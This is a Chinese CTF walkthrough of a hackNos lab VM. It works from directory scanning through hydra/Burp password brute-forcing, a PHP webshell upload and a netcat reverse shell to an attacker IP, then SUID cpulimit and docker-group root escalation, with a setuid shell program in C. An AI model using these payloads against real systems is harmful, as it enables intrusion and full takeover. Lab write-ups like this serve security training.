配置
进入控制面板配置网卡
第一步:启动靶机时按下 shift 键,
- 进入以下界面
第二步:选择第二个选项,然后按下 e 键,进入编辑界面
将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令
ip a 查看一下实际用的网卡,这里是ens33
这里和直接的不同
20.04的ubuntu已经不用/etc/network/interfaces来设置网络了,变成在/etc/netplan下的文件来配置了
教程:Ubuntu Server 20.04 网卡启动及配置(配置前请注意文件备份)_邹霍梁@数字化企业的博客-CSDN博客
打开配置文件
sudo vim /etc/netplan/00-installer-config.yaml
1
按下i进入编辑模式,修改网卡为DHCP
network:
version: 2
ethernets:
eth0: # 这个以实际网卡为准
dhcp4: true
12345
修改为静态ip:
network:
version: 2
ethernets:
eth0: # 这个以实际网卡为准
dhcp4: no
addresses: [192.168.1.2/24]
optional: true
gateway4: 192.168.1.1
nameservers:
addresses: [218.2.135.1,8.8.8.8]
12345678910
注意yaml对缩进和空格要求严格
应用更改
sudo netplan apply
一、信息收集
获取ip
目录扫描
gobuster dir -u http://192.168.16.200/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
扫描出三个目录
二级目录扫描
gobuster dir -u http://192.168.16.200/websec -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
登录发现有一个邮箱,保存下来
http://192.168.16.200/websec/index
在http://192.168.16.200/websec/login发现登录后台页面,需要使用邮箱
二、密码爆破
1.bp爆破密码
该后台登录页面对登录请求的IP进行了限制
去掉Cookie头部字段后可以正常爆破
使用burpsuitr,抓包,默认的字典是没办法跑出来的
字典获取-工具cewl
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件。
工具源地址:【传送门】
使用cewl爬取网站信息然后生成目标网站字典文件
cewl http://192.168.16.200/websec/ > cewl.txt
导入字典重新爆破
根据收集的网站信息,邮箱contact@hacknos.com
,使用字典cewl.txt
进行爆破
成功爆破出密码 Securityx
进入管理后台了
2.hydra爆破
这里还可以使用hrdra进行爆破
hardra教程参考:
无验证码]Web页面_hydra爆破web_Yuri800的博客-CSDN博客
爆破语法:
hydra -l contact@hacknos.com -P cewl.txt 192.168.0.3 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Log In"
参数解释:
# -l 用户名
# -P 密码字典
# https-post-form、http-get-form、https-get-form -提交方式
#username=^USER^&password=^PASS^:Log In"
username=^USER^&password=^PASS^,把在network中看到的POST提交的内容只是把用户名和密码部分换成了^USER^和^PASS^。
USER对应前面的-l 后跟的用户名root,PASS会被字典中的密码逐个替换。
:Log In表示成功
POST的内容就是一个简单的键值对的形式(username=用户名&password=密码)
爆破结果:
[80][http-post-form] host: 192.168.16.200 login: contact@hacknos.com password: Securityx
三、后门上传
进入后台后,发现文件上传点
新建php文件,插入上传一句话木马文件
<?php system($_REQUEST['cmd']);?>
可以看到后门文件上传后的路径
访问后门文件:
被禁止访问
返回查看htaccess配置文件
可以看到里面代码对所有 .php
文件执行“拒绝访问”的操作。
删除重新访问
访问中删除admin后成功
http://192.168.16.200/websec/tmp/houmen.php?cmd=id
四、nc反弹
抓取 后门后的数据包,修改请求为post请求
kaili开启nc监听
反弹使用:
linux反弹备忘录 | (moonsec.com)
常用的一句话反弹shell总结_php一句话反弹shell_橘子女侠的博客-CSDN博客
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.180 9002 >/tmp/f
编译后执行
切换到bash
python -c 'import pty;pty.spawn("/bin/bash")'
五、第一个flag
查看网站存放的目录
www-data@hacknos:/var/www/html$ ls
ls
bg.jpg devil index.html scripts upload.php websec
www-data@hacknos:/var/www/html$ cd websec
cd websec
www-data@hacknos:/var/www/html/websec$ ls
ls
Dockerfile assets config.php log sites tmp
LICENSE composer.json index.php robots.txt src
app.yaml config.default.php lib shell.php themes
查看config.php文件内容
存放有数据库账号和密码,可以留着后面使用
查看账号保存位置
cat /etc/passwd
看到有个blackdevil用户,查看旗下的user.txt
拿到第一个flag
六、cpulimit提权
扫描suid文件
find / -perm -u=s 2>/dev/null
查找到SUID权限的命令:cpulimit
在Ubuntu中使用cpulimit限制进程的使用率_ubuntu 离线安装 cpulimit__Slience_的博客-CSDN博客
用法
限制firefox使用30% cpu 利用率 cpulimit -e firefox -l 30
限制进程号1313的程序使用30% cpu 利用率 cpulimit -p 1313 -l 30
限制绝对路径下该软件的 cpu 利用率cpulimit -e /usr/local/nginx/sbin/nginx -l 50
停止当前限制Ctrl + C
查找用户所创建的文件
find / -user 1000 2>/dev/null
查看当前用户可以使用的管理员命令
sudo -l
使用cpulimit提权
1.kali编写c代码
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
int main()
{
setuid(0);
#该函数用于设置实际用户ID,将其设置为0,即root用户的UID。这将把进程的权限提升为超级用户。
setgid(0);
#类似于 setuid,此函数设置实际组ID,将其设置为0,即root组的GID。
system("/bin/bash");
# system 函数用于在新的进程中执行一个 shell 命令。在这里,它执行了 /bin/bash,启动了一个交互式的 Bash Shell,因为Bash Shell位于 /bin/bash。
return 0;
#返回0表示执行成功
#
}
2.编译代码
gcc a.c -o tiquan
chmod 777 tiquan
3.上传到靶场
使用base64加密编译好的文件
base64 tiquan
复制在靶场处新建文件
使用: stty cooked echo
或者pyton上传
python -m http.server 8888
wget http://192.168.16.180:8888/tiquan
4.使用cpulimit执行
方法一、命令提权
cpulimit -l 100 -f -- /bin/sh -p
因为这里的cpulimit是可以执行suid权限
这个命令的目的是以限制的CPU使用率(在这里是100%)运行一个交互式Shell也为suid权限
直接提权成功
方法二、脚本提权
使用刚刚编译好的c语言提权代码
执行
chmod +x tiquan
cpulimit -l 100 -f ./tiquan
七、docker提权
使用docker提权要先登录
查看目录
cat /var/local/database
在线解密:
spreadsheet mimic - encode (spammimic.com)
全部复制
解密得到密码:Security@x@
用户登录:blackdevil 密码 : Security@x@
并且看到属于docker组
下载docker镜像文件,启动容器并挂载宿主机的根目录
docker run -it -v /:/mnt alpine /bin/sh
# alpine镜像非常小非常适合用于提权
# 由于已经将宿主机根目录挂载到了容器的/mnt/目录下,因此在容器内,/mnt/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限
chroot /mnt